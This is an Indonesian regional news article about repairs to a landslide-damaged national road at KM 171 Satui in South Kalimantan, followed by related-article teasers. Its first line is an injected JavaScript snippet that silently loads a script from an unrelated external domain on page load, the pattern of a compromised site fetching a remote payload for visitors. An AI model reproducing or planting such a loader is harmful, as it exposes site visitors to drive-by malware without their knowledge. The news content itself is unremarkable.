(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Balai Besar Pelaksanaan Jalan Nasional (BBPJN) XI Kalimantan Selatan (Kalsel) memastikan segera memperbaiki badan jalan nasional di KM 171 Satui yang beberapa kali terputus akibat longsor beberapa waktu lalu.
Perbaikan ini juga dibantu salah satu perusahaan yang terdekat dari jalan yang terputus tersebut.
Kepala BBPJN XI Kalsel, Syauqi Kamal mengatakan, saat ini pihaknya sudah melakukan pembangunan badan jalan yang dibantu satu perusahaan terdekat dari jalan terputus. Namun, perusahaan lainnya hanya membantu dari dukungan alat untuk mempercepat perbaikan jalan.
“Sekarang kami melakukan penyelidikan terkait kedalaman tanah dan lainnya, baru bisa menentukan struktur apa yang akan dibangun di sana (Jalan Nasional KM 171),” katanya.
Baca juga : Jalur Alternatif Penuh Lumpur, Longsor Jalan Nasional KM 171 Satui Tak Terlihat Perbaikan
Pada perbaikan ini, Syauqi mengatakan pihaknya juga dibantu Pemkab Tanah Bumbu melalui Dinas PU membangun jalan alternatif dan akan segera bisa dilalui.
“Dari hari Minggu kendaraan kecil sudah bisa masuk, kendaraan besar kayaknya sudah bisa masuk juga, ini memakai sebagian jalan tambang, jadi tidak terlalu jauh,” bebernya.
Dijelaskannya, tahap penyiringan dilakukan hanya sebatas jalan yang longsor sekitar 20 meter.
“Kalau permanen belum bisa ngomong secara luas, kita perlu melihat bidang tanah, kalau tidak kuat bisa retak kembali,” jelasnya.
Baca juga : Aksi Mahasiswa Tabur Tanah di Kantor Gubernur Kalsel “Paman Birin Dicari Rakyat”
Hingga saat ini kata Syauqi pihaknya belum mengambil langkah lebih jauh lagi seperti pembebasan lahan atau sebagainya.
“Kita mewanti-wanti agar tidak terjadi masalah di kemudian hari, jadi untuk pembebasan tidak kami lakukan,” tuturnya.
Terkait target penyelesaian perbaikan, pihaknya menargetkan satu minggu selesai dengan bantuan alat yang mencukupi.
“Kalau asumsinya tidak hujan 1 minggu selesai, kalau hujan tidak bisa kerja karena licin, kami tidak membuat permanen agar menghindari kesalahan teknis di lapangan,” terangnya. (Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : cell
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.